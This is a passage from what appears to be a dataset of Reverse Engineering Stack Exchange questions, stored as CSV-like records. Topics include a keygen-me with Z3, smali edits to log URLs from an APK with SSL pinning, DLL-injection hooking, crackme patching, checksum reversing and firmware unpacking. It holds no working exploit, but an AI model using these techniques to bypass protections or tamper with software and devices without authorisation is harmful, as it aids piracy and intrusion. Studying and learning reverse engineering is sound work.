+ +I'm aware of the fact Z3 python has If() function but it can only switch between two values. + +Here is example of simple keygen-me which I wrote to illustrate this problem. Is there a way to solve it cleanly with Z3? + + + +
import sys
+
+def fact(x):
+    if x == 1:
+        return 1
+    else:
+        return x * fact(x - 1)
+
+def check_serial(s):
+
+    for i in range(len(s)):
+        if s[i] < 10:
+            print(""[!] poor serial number"")
+            exit(0)
+
+    facts = [fact(s[i]) for i in range(len(s))]
+
+    xor = 0
+    for i in range(len(s)):
+        xor = xor ^ facts[i]
+
+    return xor
+
+
+if len(sys.argv) != 9:
+    print(""[!] Usage: %s x x x x x x x x, where is number > 10"" % sys.argv[0])
+    exit(0)
+
+
+nums = [int(x) for x in sys.argv[1:]]
+
+
+if check_serial(nums) == 0x3fb4b7f405d4fb5e2a6740000:
+    print(""[+] serial number is valid, congratz!"")
+else:
+    print(""[!] serial number is invalid"")
+
+" +['android']," Title: LOG Urls that APK requests using smaliBody: I have an APK that uses pinning. I am having an unbelievable time trying to remove the SSL pinning so i figure it might be easier to modify the smali files and recompile to log the LoadURL events. + +Below is the method I am trying to log the URL it loads. I have tried to use + +invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I + +but i get register errors in the Android studio logcat. Any ideas or a better way to see what urls this APK is loading along with the POST request? + +
.method public run()V
+    .locals 3
+
+    sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
+
+    const/16 v1, 0x12
+
+    if-le v0, v1, :cond_0
+
+    iget-object v0, p0, Lcom/gigya/socialize/android/GSWebBridge$6;->this$0:Lcom/gigya/socialize/android/GSWebBridge;
+
+    invoke-static {v0}, Lcom/gigya/socialize/android/GSWebBridge;->access$100(Lcom/gigya/socialize/android/GSWebBridge;)Landroid/webkit/WebView;
+
+    move-result-object v0
+
+    iget-object v1, p0, Lcom/gigya/socialize/android/GSWebBridge$6;->val$invocation:Ljava/lang/String;
+
+    new-instance v2, Lcom/gigya/socialize/android/GSWebBridge$6$1;
+
+    invoke-direct {v2, p0}, Lcom/gigya/socialize/android/GSWebBridge$6$1;-><init>(Lcom/gigya/socialize/android/GSWebBridge$6;)V
+
+    invoke-virtual {v0, v1, v2}, Landroid/webkit/WebView;->evaluateJavascript(Ljava/lang/String;Landroid/webkit/ValueCallback;)V
+
+    goto :goto_0
+
+    :cond_0
+    iget-object v0, p0, Lcom/gigya/socialize/android/GSWebBridge$6;->this$0:Lcom/gigya/socialize/android/GSWebBridge;
+
+    invoke-static {v0}, Lcom/gigya/socialize/android/GSWebBridge;->access$100(Lcom/gigya/socialize/android/GSWebBridge;)Landroid/webkit/WebView;
+
+    move-result-object v0
+
+    iget-object v1, p0, Lcom/gigya/socialize/android/GSWebBridge$6;->val$invocation:Ljava/lang/String;
+
+    invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
+
+
+    :goto_0
+    return-void
+.end method
+
+ +Another example, I tried to add a simple log on 2 consts and it errors out as well and crashes + +
    move-result-object v1
+
+    const-string v2, ""/""
+
+    const-string v3, """"
+
+    invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I (this is the added line)
+
+
+    invoke-virtual {v1, v2, v3}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
+
+    move-result-object v1
+
+    invoke-virtual {p1}, Landroid/net/Uri;->getEncodedQuery()Ljava/lang/String;
+
+    move-result-object p1
+
+ +In log cat I get the following error + +
2019-10-13 13:52:46.823 14636-14636/? W/dex2oat: Verification error in boolean com.gigya.socialize.android.GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String)
+2019-10-13 13:52:46.823 14636-14636/? W/dex2oat: boolean com.gigya.socialize.android.GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String) failed to verify: boolean com.gigya.socialize.android.GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String): [0x29] Rejecting invocation, expected 1 argument registers, method signature has 2 or more
+2019-10-13 13:53:56.296 14703-14703/? W/System.err: a.b.c.f: The exception could not be delivered to the consumer because it has already canceled/disposed the flow or the exception has nowhere to go to begin with. Further reading: https://github.com/ReactiveX/RxJava/wiki/What's-different-in-2.0#error-handling | java.lang.VerifyError: Verifier rejected class com.gigya.socialize.android.GSWebBridge: boolean com.gigya.socialize.android.GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String) failed to verify: boolean com.gigya.socialize.android.GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String): [0x29] Rejecting invocation, expected 1 argument registers, method signature has 2 or more (declaration of 'com.gigya.socialize.android.GSWebBridge' appears in base.apk)
+2019-10-13 13:53:56.297 14703-14703/? W/System.err: Caused by: java.lang.VerifyError: Verifier rejected class com.gigya.socialize.android.GSWebBridge: boolean com.gigya.socialize.android.GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String) failed to verify: boolean com.gigya.socialize.android.GSWebBridge.handleUrl(android.webkit.WebView, java.lang.String): [0x29] Rejecting invocation, expected 1 argument registers, method signature has 2 or more (declaration of 'com.gigya.socialize.android.GSWebBridge' appears in base.apk)
+2019-10-13 13:53:56.297 14703-14703/? W/System.err:     at com.gigya.socialize.android.GSWebBridge.attach(Unknown Source:0)
+2019-10-13 13:53:56.399 14703-14703/? E/AndroidRuntime: FATAL EXCEPTION: main
+
+ +Then the app crashes as well. +" +"['ida', 'decompilation', 'exploit', 'vulnerability-analysis']"," Title: Decompiler attackBody: I noticed that Hex-Ray have been keeping reward to people who find ""security vulnerabilities"" of IDA-Pro.: + +So here is my question, how come a decompiler can have ""security vulnerabilities""? And more importantly, is there any real-world example to attack decompilers or disassemblers? Or can I perform certain kind of ""malware evading attacks"" by abusing the decompiler bugs? +" +"['binary-analysis', 'gdb']"," Title: Breakpoint in GDB hit 144 times before first call to functionBody: I am working on a reverse engineering challenge and have a binary file. I know how to get the flag by changing the instruction flow after doing a strcmp so I jump to the function that prints the flag. However, when I set a breakpoint on strcmp, it is hit 144 times before the first call to strcmp in the program. + +For example, the program asks for user input twice and after each scanf(), strcmp is called. The program wants you to enter two passwords to get the flag. Before the initial strcmp, I have to pass 144 breaks at strcmp and I cannot figure out why when the results of objdump only call strcmp the two times that I mentioned above. I can share the objdump if necessary, but does anybody have any idea why this could be? Am I missing something about debugging in GDB? Are there ways to hide the code doing this in the binary that I am not seeing? + +I know that it's 144 times before the ""initial call"" since I continue 144 breaks and then the program finally asks me for the first input (password). +" +['pe']," Title: How to display processes that are running of computer in LordPE?Body: I tried to install some LordPE version but all when I open then no program that is running displayed in LordPE.I don't know why? + + +I hope you guys show me the way to fix this problem.I appreciate all of your help? +" +['firmware']," Title: How to repack reverse-engineered router firmware?Body: I managed to unpack the filesystem contents of a TP-Link router .bin file using binwalk, dd and unsquashfs. The squash FS was at the end of the bin file, the part before having a relatively large lzma archive. + +Now I would like to make changes to the filesystem and repack the firmware file back. How can I achieve this? How do I know whether I need to attach a checksum or similar? + +This question is different from How can I put a Binwalk extracted firmware back into a .bin binary file? in that it's vendor specific, firmware-mod-kit is a not preferred option (unless it's the only one...) and it contains an extra question +" +"['windows', 'debugging', 'ollydbg', 'x86']"," Title: Which APIs are responsible for terminating process icons in Taskbar?Body: I am trying to reverse and debug a program but it exists after certain point, tried setting breakpoint on any inter module call that starts with exit or terminate, now here's the weird part : + +it does break on exitprocess, but before that the actual executable gets removed from explorer's taskbar and from the bottom right side in the taskbar (which shows small program icons next to clock) but the actual process is still in the task manager + +so how is it exiting that the actual process is not terminated but the taskbar icons (both the main icon and the small one next to clock) get terminated? i want to break on that one before the exit process, because trying to trace back from the exit process one leads me to entrypoint (_start)! (tried tracing back from it with the stack return addresses) +" +"['function-hooking', 'dll-injection', 'virtual-memory']"," Title: Function Hooking via Dll Injection Negative OffsetBody: I have some code that hooks a function via dll injection. The code works fine but i'm a little perplexed as to how it works. The code needs to calculate the offset from the function that i'm going to hook to the hooked function. It works perfectly but i've noticed that sometimes the offset is positive and sometimes it's negative (e.g. m_hkFuncAddr < m_hkAddr). Sometimes my dll is loaded before the address i'm trying to hook and sometimes it is after (I check using a utility called vmmap if that means anything). Regardless, it will work. But if I reverse the two, it's a guaranteed crash, regardless of where my dll is placed. + +dwhkRelative = (((DWORD)m_hkFuncAddr - (DWORD)m_hkAddr) - 5); + +Why is it that when I reverse the two it crashes, but when it's a negative offset, it works fine? Thanks in advance! +" +"['debugging', 'ollydbg', 'patching', 'crackme']"," Title: How to change the title of a windows GUI app when patching? (the title that usually writes the application name)Body: So I'm trying to patch a binary (its a GUI app), and i want to patch the title of it as well when I'm patching it, and by title i mean the text that appears on top of the app that usually is the application name + +How can i achieve this? should i break on a certain API and modify it or...? (I'm using x32dbg but can use Olly as well), i know there might be many ways, but what is the most common way? i just want some lead to go after + +sorry if this is a newbee question, tried googling and came up with some windows APIs but don't know how to patch it to change the title, tried changing some of them but didnt work +" +['decryption']," Title: Reverse ASCII checksum algorithmBody: I am looking to reverse engineer what appears to be a 24-bit ASCII checksum. I tried the standard CRC 16 and 32-bit checksums and they don't work. Any pointers would be appreciated. Here is some samples: + +
CMD21415A00M40C153S117!D0H$
+CMD21415A00M40C197S439!EJG$
+CMD21415A00M40C239S825!CIB$
+CMD21415A00M40C239S029!FHZ$
+CMD21415A00M40C197S275!BJE$
+CMD21415A00M40C153S302!N7W$
+CMD21415A00M40C153S141!A4I$
+CMD21415A00M40C197S266!8KE$
+CMD21415A00M40C197S714!RD0$
+
+ +I believe for each line the checksum (3 ASCII characters between '!' and '$') is for the ASCII data between 'CMD' and '!'. It does not seems to match any of basic checksum algorithms that I am familiar with. +" +"['ida', 'binary-analysis', 'patch-reversing']"," Title: Easy way to understand vulnerable functions while ReversingBody: I have been doing reversing lately and not an experienced Reverse engineer. Mostly I do audit on binaries both fuzzing and source code. + +As I am new to this stuff, I am getting some issues of understanding, in some cases I can see naked functions like memcpy,strcpy etc. but in other cases I can see only assembly functions, which is getting difficult to understand. I am trying with IDA. + +I know I can use decompiler from IDA pro, but I want to go with free version and want to understand briefly. + +Any resources available online, please let me know. +" +"['protocol', 'crc', 'networking', 'packet']"," Title: Determine checksum / CRC algorithmBody: I am doing reverse engineering on some network protocol. It is client to server communication and I am pretty stuck with identifying checksum (or CRC) algorithm used in packet structure. + +I tried reveng util but without any result (so maybe it is not CRC). Also I lookout on standard CRCs algorithm online but nothing fits my samples. + +Here are some examples of packets: + +client to server: + +
66  01 00 01 fa 00 00 00  b7 33  00 00 fc 00 00 00  99 
+66  01 00 03 fa 00 00 00  c7 d9  00 00 fd 00 00 00  99
+66  01 00 03 fa 00 00 80  d1 c2  08  99
+66  01 00 03 fa 00 00 71  46 42  00 00 05 00 00 00 ab 55 52 5c 5b 50 51 55 55 55 54 73  99
+66  01 00 03 fa 00 00 04  45 a2  00 00 6b 00 00 00 ab 55 40 5c 49 3e 47 1d 55 b4 55 55 55 55 55 55 55 55 55 55 55 55 55 55 45 bb  99 
+
+ +server to client: + +
66  01 fa 00 00 01 00 00  91 57  0a  99
+66  01 fa 00 00 03 00 00  8a bb  0a  99
+66  01 fa 00 00 01 00 96  9d 37  00 00 00 00 00 00 ab 55 55 55 ab  99
+66  01 fa 00 00 03 00 7f  61 68  00 00 44 00 00 00 ab 55 51 54 56 11 54 55 1e  99 
+66  01 fa 00 00 03 00 7a  70 dd  08 99
+
+ +I think checksum is 16-bit number begin on 9th byte. Also, I believe that the first and last bytes are not significant to count the checksum algorithm (start and stop constat). + +I can provide more samples if it helps. + +I will be grateful for any help or advice from you. +" +['malware']," Title: Tools for detecting packing and encryptionBody: I'm doing a cert in malware analysis and I'm looking for some up to date tools to automate detection of packing and encryption to aid the reversing process. + +I've found TitanMist however it seems quite dated, are there any other tools? + +Thanks, +" +['ida']," Title: Modify function to return a static valueBody: I am learning IDA pro on a test binary and I'd like to return a static value from this function: + +
; __int64 __fastcall sub_B580(char *name)
+sub_B580 proc near
+
+pai= qword ptr -70h
+req= addrinfo ptr -68h
+service= byte ptr -2Fh
+var_20= qword ptr -20h
+
+; __unwind {
+push    rbp
+push    rbx
+sub     rsp, 68h
+mov     rax, fs:28h
+mov     [rsp+78h+var_20], rax
+xor     eax, eax
+test    rdi, rdi
+jz      loc_B676
+
+
+" +"['ida', 'assembly', 'x86']"," Title: IDA Pro, replace exit() with continue;Body: This is the function: + +
loc_BA060:              ; status
+xor     edi, edi
+call    _exit
+
+ +How can one replace exit with continue? +" +"['ida', 'binary-analysis', 'malware']"," Title: What is the best approach for using IDA's remote debugger for analyzing a sample with two VMs?Body: Sorry if this is a stupid question but couldnt find the answer by googling + +Right now I analyze a malware by using remote debugger of IDA, and i run the debugger on a isolated VM that has shared a folder to my IDA's VM, as of right now the way i analyze a sample is by putting it on that shared folder so i can run the remote debugger, because if i set the path to a location in my IDA's VM then it won't work (it says wrong parameters), so it looks like the sample has to be in a location where both my IDA's VM and the isolated VM can reach (i think) + +so to solve this i just put samples i want to analyze in the shared folder + +the problem is that the .idb file spawns there as well and if its a ransomware then my .idb file will get ruined ( i have to say that IDA's VM is also in a isolated host only network) + +so two questions : + +
    +
  1. am i approaching this right? is there an easier way for me to use a remote debugger without using a shared folder?
  2. +
  3. how to change the .idb's default path? so i can put the sample in the shared folder or somewhere else but the .idb gets generated somewhere else?
  4. +
+" +"['windows', 'pe', 'memory', 'operating-systems']"," Title: Is relocation table only used for absolute addresses?Body: I was reading about mapped and unmapped PE format, and how the alignment between sections changes after loading it into memory and that caused two question for me: + +
    +
  1. is the relocation table used before the PE is loaded into memory? (just before loading)
  2. +
  3. how does the loader deal with relative addresses and offsets after loading it into memory considering the offsets between sections changes? for example if i have a instruction that addresses another section using relative addresses (offset from its own location), but not an absolute address, then does the loader has to deal with these relative addresses as well? if so, then this means the relocation table fixes instruction that don't use absolute addresses as well?
  4. +
+" +"['windows', 'x86', 'patching', 'crackme']"," Title: Alternative APIs to hook instead of messagebox for message pop ups?Body: So i am reversing an app that pops up a message at some point, but its not doing this using messagebox + +i also tried to pause and then run to user code but didn't work, so what are some of the other ways to trace back to where this ""message box"" was generated? sorry if this is a newbee question + +i watched a lot of youtube videos but regarding this issue the only solution i found was pausing and going to user code but that doesn't work, for some reason sometimes the pause just doesn't even work (if anyone knows why please let me know) and sometimes when it does, and i go to user code its just gibberish code, nothing that caused the box ( i think maybe this is because multi threading, since when i check the threads there are like 12 threads running!, tried going to main thread and some of the non suspended ones and repeating this didnt work ) +" +"['binary-analysis', 'linux', 'file-format', 'binary-format', 'qnx']"," Title: Unknown archive format from QNX operating systemBody: We are reverse engineering a QNX system and we have found a small file that is uploaded to the system. It appears to be either a file system image or an uncompressed archive of some sort. We can't figure out the check-summing it uses hence I cannot edit the file. I have multiple versions of this file and they all start with the same magic bytes. I have run binwalk and magic over the file and neither return anything interesting. + +We also tried mounting it within a QNX vmware image however it said it was an incorrect format. In case I've dumped it wrong I will next check the linux QNX source code to confirm. + +Any ideas if this is a file system image? The header seems to list file paths/names with padding which with my lack of knowledge I assume is some kind of resource manifest. + +The magic header is 0x77FA77FA + +Does anyone know what this file format is? + +You can download the binary here: +http://s000.tinyupload.com/index.php?file_id=81688472369674028404 + + + + +" +"['disassembly', 'x64dbg', 'breakpoint', 'memory-dump']"," Title: How to navigate Disassembly view to the current instruction location?Body: I'm using x32dbg and I've set a hardware memory breakpoint. It triggers successfully for a specified module and the debugger pauses and a message on the bottom says: + +
Hardware breakpoint (byte, read/write) at mscorlib.ni.69`9d3d9 (6919d3d9)!
+
+ +All good so far. Now naturally I want to go to address 6919d3d9, which I assume to be the starting memory address of the code that accessed my target memory location. + +So I go to Breakpoints view (Alt+B) double click on the breakpoint and it gets me to Dump, ie the memory view.. This is where I'm confused. I can't find out how to go to address 6919D3D9 to see the disassembled instructions. Kindly help if you can. +" +"['binary-analysis', 'binwalk']"," Title: Binwalk to Extract Firmware is not working for meBody: I'm trying to extract code from Yuneec Drone Firmware and I've run into some issues. Currently when I run binwalk agains the file, I get the following issues: + +
binwalk autopilot.yuneec.bin 
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+980           0x3D4           Unix path: /xA0fD/84kP/EX/tXDcRvBzP9P7bzsfTHQdqfUm4zLbytkngf/Q3vmzj2Yq5Z8PcPbz9Xr2rVS+3C9mxH6/hv+1az7AF8jjGYGJbh6B5+5lvPWRhvcYnww7WRMdYXU+/
+20772         0x5124          StuffIt Deluxe Segment (data): fC+p1/WeN+x6czuMKj/2G97vs7bIlzF9t82VVYQdsBVEperQb/356B5eTU4a1S7KhOJMYkGX0UIgBnWVoOiawdyqh+jIXg4yBi3qEy0TAzdhx/RwATTujWRGgu6qUPDX
+63677         0xF8BD          Unix path: /AX5BC/lwR/velbnL9Z26N8WkNPRKvRO9U6/Yeim7oVvEVZssaKxYSrcDXs1EswWwxG/q47kDI8f2QpdO82ijIuW6KrNWyrC7mFSTMGxdTkE77D/IFVwXMUhDG5DdaVd
+544996        0x850E4         StuffIt Deluxe Segment (data): f1KJONum4Fp1JGYhMLa6U6dznBT9ORW23cOYJZnU7ijq+AwegqRxK9Von+ry5p35p6LZBShghnv8RjszI+TzBZ17KvvMN+Qj5may1mfVTQR96rur5jzYLQ5pDngg+qRq
+701252        0xAB344         StuffIt Deluxe Segment (data): fa/4N9fZZBH9/RjZN2xQsGR2SYhibs+pJAjQYrytk/gsWWv9771tt8c/VLs703HuQSUQU7/9jHQEybWaK3sCf1olsktUNZv52TsSKZD1OlYB0hGlSeLX9QkWS+5FjMEH
+1058597       0x102725        Unix path: /MHRJqXEzbl/z7hCM/vEnhS/cF6wOY+T8ywvmLCsMoaJfYdaj5k+8cU0yrKbd+HNFZv1JoQxLPGAUnEy9hj3a/0ENDO2Rs2m4bpBLjMDbE8fYIDiVvSEYFm2YT3tCw/a
+1082116       0x108304        StuffIt Deluxe Segment (data): fZcxfqH1QZ33Q+quNuNMPYZg9qJ/3M3SOGhOldNjDJcoyRvRqtBiAslAjG7AYP86RgvYpN5kXMeIVFxPE3akTeGUi/GFI1gHoc4PpMaEpOPYkj1ZbQQic2MqHRyiFGtV
+1112905       0x10FB49        StuffIt Deluxe Segment (data): fDRqiWlK6s45pRAmUYiAov0FWabq1Cvi5KUKBzSs8++MSIkrCv9/El3vtXoVbwZU0TYYqruo7MTnxgWmtyXDx/M6ybK8LWJjNbZgLXnfOwM6KcCLusn2kfHBh5aAUuQ5
+1224852       0x12B094        StuffIt Deluxe Segment (data): fKVRaEDl88MUJZtOWVcMKNwBddGnczIsiNCoTZtmUYQBJXOExRD2NNAcFxqu1HoKASp5DzFqFNXWP37DJOMrejjQezP7jh7YeYuWOOuiqd/tthn6Gtb2SrxwLuUeCwnU
+
+ +For the look of this, it looks like the file is compressed and encrypted somehow, but I can find a match looking a hexdump of the file: + +
hexdump -C autopilot.yuneec.bin | head -n 10
+00000000  7b 0a 20 20 20 20 22 62  6f 61 72 64 5f 69 64 22  |{.    ""board_id""|
+00000010  3a 20 36 36 2c 20 0a 20  20 20 20 22 61 69 72 66  |: 66, .    ""airf|
+00000020  72 61 6d 65 5f 78 6d 6c  22 3a 20 22 65 4e 72 6c  |rame_xml"": ""eNrl|
+00000030  55 38 46 4f 67 30 41 51  76 66 73 56 45 77 37 32  |U8FOg0AQvfsVEw72|
+00000040  31 41 4a 74 59 30 77 4b  74 49 33 47 47 71 4f 4a  |1AJtY0wKtI3GGqOJ|
+00000050  4e 74 58 30 5a 6c 59 36  68 54 58 73 44 6c 6b 57  |NtX0ZlY6hTXsDlkW|
+00000060  30 2f 72 31 41 6f 56 41  74 56 52 37 39 6b 44 43  |0/r1AoVAtVR79kDC|
+00000070  76 70 6e 33 5a 6e 62 6d  72 54 50 65 69 41 67 2b  |vpn3ZnbmrTPeiAg+|
+00000080  55 43 57 63 70 4e 75 78  65 31 59 48 55 50 71 30  |UCWcpNuxe1YHUPq0|
+00000090  34 6a 4a 77 4f 38 2b 4c  6d 2b 35 6c 5a 2b 79 64  |4jJwO8+Lm+5lZ+yd|
+
+ +looking further into the file, I see that there are several files and I'm able to extract them. But from the HEXDUMP I can see there is a structure of files with in the hexdump. Here is some evidence from a longer hexdump of the file: + +
hexdump -C autopilot.yuneec.bin | head -n 70
+00000000  7b 0a 20 20 20 20 22 62  6f 61 72 64 5f 69 64 22  |{.    ""board_id""|
+00000010  3a 20 36 36 2c 20 0a 20  20 20 20 22 61 69 72 66  |: 66, .    ""airf|
+00000020  72 61 6d 65 5f 78 6d 6c  22 3a 20 22 65 4e 72 6c  |rame_xml"": ""eNrl|
+00000030  55 38 46 4f 67 30 41 51  76 66 73 56 45 77 37 32  |U8FOg0AQvfsVEw72|
+00000040  31 41 4a 74 59 30 77 4b  74 49 33 47 47 71 4f 4a  |1AJtY0wKtI3GGqOJ|
+00000050  4e 74 58 30 5a 6c 59 36  68 54 58 73 44 6c 6b 57  |NtX0ZlY6hTXsDlkW|
+00000060  30 2f 72 31 41 6f 56 41  74 56 52 37 39 6b 44 43  |0/r1AoVAtVR79kDC|
+00000070  76 70 6e 33 5a 6e 62 6d  72 54 50 65 69 41 67 2b  |vpn3ZnbmrTPeiAg+|
+00000080  55 43 57 63 70 4e 75 78  65 31 59 48 55 50 71 30  |UCWcpNuxe1YHUPq0|
+00000090  34 6a 4a 77 4f 38 2b 4c  6d 2b 35 6c 5a 2b 79 64  |4jJwO8+Lm+5lZ+yd|
+000000a0  4f 59 79 72 74 57 49 43  45 2b 38 4d 77 43 6e 7a  |OYyrtWICE+8MwCnz|
+000000b0  50 64 73 78 71 39 38 63  72 70 4a 65 53 2f 42 56  |Pdsxq98crpJeS/BV|
+000000c0  73 48 64 53 65 56 5a 4c  35 44 43 4a 79 7a 5a 53  |sHdSeVZL5DCJyzZS|
+000000d0  45 64 6b 6a 42 59 72 53  47 4c 68 67 41 62 72 47  |EdkjBYrSGLhgAbrG|
+000000e0  4c 57 37 59 6e 44 53 70  70 51 45 79 69 2b 34 51  |LW7YnDSppQEyi+4Q|
+000000f0  6c 53 4f 77 4d 58 4a 69  67 77 70 38 35 52 6f 58  |lSOwMXJigwp85RoX|
+00000100  56 74 38 32 51 44 41 75  64 66 61 68 63 6f 30 48  |Vt82QDAudfahco0H|
+00000110  70 6e 58 49 57 51 49 7a  52 57 39 77 48 75 6d 52  |pnXIWQIzRW9wHumR|
+00000120  4b 4a 48 4a 4e 70 57 49  76 73 49 45 6d 66 4c 44  |KJHJNpWIvsIEmfLD|
+00000130  6e 6b 2f 69 50 4e 43 6a  71 74 51 4d 4d 7a 37 33  |nk/iPNCjqtQMMz73|
+00000140  6f 56 45 53 41 69 53 42  57 6d 33 4c 32 6c 6c 31  |oVESAiSBWm3L2ll1|
+00000150  50 32 4a 4a 34 6c 31 52  72 46 45 35 35 75 35 55  |P2JJ4l1RrFE55u5U|
+00000160  78 65 6f 32 76 4a 4f 37  63 4d 77 47 75 78 4c 55  |xeo2vJO7cMwGuxLU|
+00000170  32 78 69 39 52 6a 2b 4f  57 53 42 56 6d 46 49 64  |2xi9Rj+OWSBVmFId|
+00000180  70 37 70 73 66 2f 71 38  74 41 31 76 6a 62 6a 71  |p7psf/q8tA1vjbjq|
+00000190  36 6a 41 62 61 68 41 43  72 57 46 2b 42 58 6b 41  |6jAbahACrWF+BXkA|
+000001a0  2f 4a 42 4a 69 5a 46 6a  37 6a 69 74 45 76 30 32  |/JBJiZFj7jitEv02|
+000001b0  69 66 36 66 4a 51 5a 74  45 6f 50 44 45 72 56 50  |if6fJQZtEoPDErVP|
+000001c0  43 6d 65 59 2b 39 59 34  34 70 61 6e 6c 4b 33 32  |CmeY+9Y44panlK32|
+000001d0  33 5a 49 6a 78 39 77 79  74 4b 78 76 62 72 6b 6e  |3ZIjx9wytKxvbrkn|
+000001e0  68 66 49 54 48 70 43 6a  4b 74 59 55 46 63 41 6b  |hfITHpCjKtYUFcAk|
+000001f0  33 67 78 37 6e 41 37 5a  6f 36 36 78 42 4a 2f 6b  |3gx7nA7Zo66xBJ/k|
+00000200  6d 67 63 6e 6d 2b 50 33  6f 75 31 75 61 46 7a 78  |mgcnm+P3ou1uaFzx|
+00000210  48 37 6a 68 78 77 4a 74  79 39 70 66 34 42 32 46  |H7jhxwJty9pf4B2F|
+00000220  45 71 34 4a 69 7a 6d 2b  5a 34 64 4a 39 6c 78 45  |Eq4Jizm+Z4dJ9lxE|
+00000230  48 47 48 62 38 31 35 4d  48 37 73 76 77 35 4e 57  |HGHb815MH7svw5NW|
+00000240  64 32 7a 77 76 37 6d 33  52 6a 4b 39 4c 33 61 46  |d2zwv7m3RjK9L3aF|
+00000250  33 75 59 3d 22 2c 20 0a  20 20 20 20 22 61 69 72  |3uY="", .    ""air|
+00000260  66 72 61 6d 65 5f 78 6d  6c 5f 73 69 7a 65 22 3a  |frame_xml_size"":|
+00000270  20 31 34 35 33 2c 20 0a  20 20 20 20 22 6d 61 67  | 1453, .    ""mag|
+00000280  69 63 22 3a 20 22 46 49  58 4d 45 20 28 77 61 73  |ic"": ""FIXME (was|
+00000290  3a 20 50 58 34 46 57 76  31 29 22 2c 20 0a 20 20  |: PX4FWv1)"", .  |
+000002a0  20 20 22 64 65 73 63 72  69 70 74 69 6f 6e 22 3a  |  ""description"":|
+000002b0  20 22 46 69 72 6d 77 61  72 65 20 66 6f 72 20 74  | ""Firmware for t|
+000002c0  68 65 20 54 41 50 76 32  20 62 6f 61 72 64 22 2c  |he TAPv2 board"",|
+000002d0  20 0a 20 20 20 20 22 69  6d 61 67 65 22 3a 20 22  | .    ""image"": ""|
+000002e0  22 2c 20 0a 20 20 20 20  22 70 61 72 61 6d 65 74  |"", .    ""paramet|
+000002f0  65 72 5f 78 6d 6c 5f 73  69 7a 65 22 3a 20 33 37  |er_xml_size"": 37|
+00000300  34 33 38 33 2c 20 0a 20  20 20 20 22 70 61 72 61  |4383, .    ""para|
+00000310  6d 65 74 65 72 5f 78 6d  6c 22 3a 20 22 65 4e 72  |meter_xml"": ""eNr|
+00000320  73 76 65 31 32 32 74 6a  57 4c 76 67 2f 56 36 47  |sve122tjWLvg/V6G|
+00000330  52 48 75 38 75 75 39 72  47 67 49 33 6a 56 46 56  |RHu8uu9rGgI3jVFV|
+00000340  79 42 67 46 73 63 77 6f  62 4e 68 43 6e 55 6a 38  |yBgFscwobNhCnUj8|
+00000350  4f 51 77 61 42 74 51 4d  53 72 79 54 73 75 4d 62  |OQwaBtQMSryTsuMb|
+
+ +So there is evidence that the files are there, but I'm not able to extract them. I do get and extraction of the files by running the -e in contention with other options (can't recall now ) and there files are of the Stuffit Deluxe Segment already encountered on the original file. Here is the output of those: + +
binwalk *.*
+
+Scan Time:     2019-10-20 22:13:13
+Target File:   /Users/user/Downloads/yuneec/_autopilot.yuneec.bin.extracted/108304.sit
+MD5 Checksum:  c743a9f92c5f2ed0c63ad834f1f1a2ff
+Signatures:    344
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+0             0x0             StuffIt Deluxe Segment (data): fZcxfqH1QZ33Q+quNuNMPYZg9qJ/3M3SOGhOldNjDJcoyRvRqtBiAslAjG7AYP86RgvYpN5kXMeIVFxPE3akTeGUi/GFI1gHoc4PpMaEpOPYkj1ZbQQic2MqHRyiFGtV
+1048          0x418           Unix path: /9IZpCOp8aA0pWxFoU/qICmgQCD06roNe/QhyUI/zphjCQriq9Y9bYLMDe2nGhIjeU0uqE82VdjGUDsPJmXXG3q3RnYaKEzSbh+heZA/o2KgUr2ilWoy5aEbcYkbSgZr
+30789         0x7845          StuffIt Deluxe Segment (data): fDRqiWlK6s45pRAmUYiAov0FWabq1Cvi5KUKBzSs8++MSIkrCv9/El3vtXoVbwZU0TYYqruo7MTnxgWmtyXDx/M6ybK8LWJjNbZgLXnfOwM6KcCLusn2kfHBh5aAUuQ5
+142736        0x22D90         StuffIt Deluxe Segment (data): fKVRaEDl88MUJZtOWVcMKNwBddGnczIsiNCoTZtmUYQBJXOExRD2NNAcFxqu1HoKASp5DzFqFNXWP37DJOMrejjQezP7jh7YeYuWOOuiqd/tthn6Gtb2SrxwLuUeCwnU
+
+
+Scan Time:     2019-10-20 22:13:14
+Target File:   /Users/user/Downloads/yuneec/_autopilot.yuneec.bin.extracted/10FB49.sit
+MD5 Checksum:  383e25c46cbe08f1f44f5ba4a7a2b23e
+Signatures:    344
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+0             0x0             StuffIt Deluxe Segment (data): fDRqiWlK6s45pRAmUYiAov0FWabq1Cvi5KUKBzSs8++MSIkrCv9/El3vtXoVbwZU0TYYqruo7MTnxgWmtyXDx/M6ybK8LWJjNbZgLXnfOwM6KcCLusn2kfHBh5aAUuQ5
+1938          0x792           Unix path: /C3Yf6WlMao/H8X/P94eFW/P2jZ+WxAy6iX4GODwwvK7l3FAf7UkAmVVL157I13iX9BxN797C9LdV8yr+Tqih5ucCRW4pmxBiDv4LM5oCmFl3Lsy6hcvYkGBNq4OsALe
+111947        0x1B54B         StuffIt Deluxe Segment (data): fKVRaEDl88MUJZtOWVcMKNwBddGnczIsiNCoTZtmUYQBJXOExRD2NNAcFxqu1HoKASp5DzFqFNXWP37DJOMrejjQezP7jh7YeYuWOOuiqd/tthn6Gtb2SrxwLuUeCwnU
+
+
+Scan Time:     2019-10-20 22:13:14
+Target File:   /Users/user/Downloads/yuneec/_autopilot.yuneec.bin.extracted/12B094.sit
+MD5 Checksum:  0cedc23fb97a6be737f8b19fe4fa83e8
+Signatures:    344
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
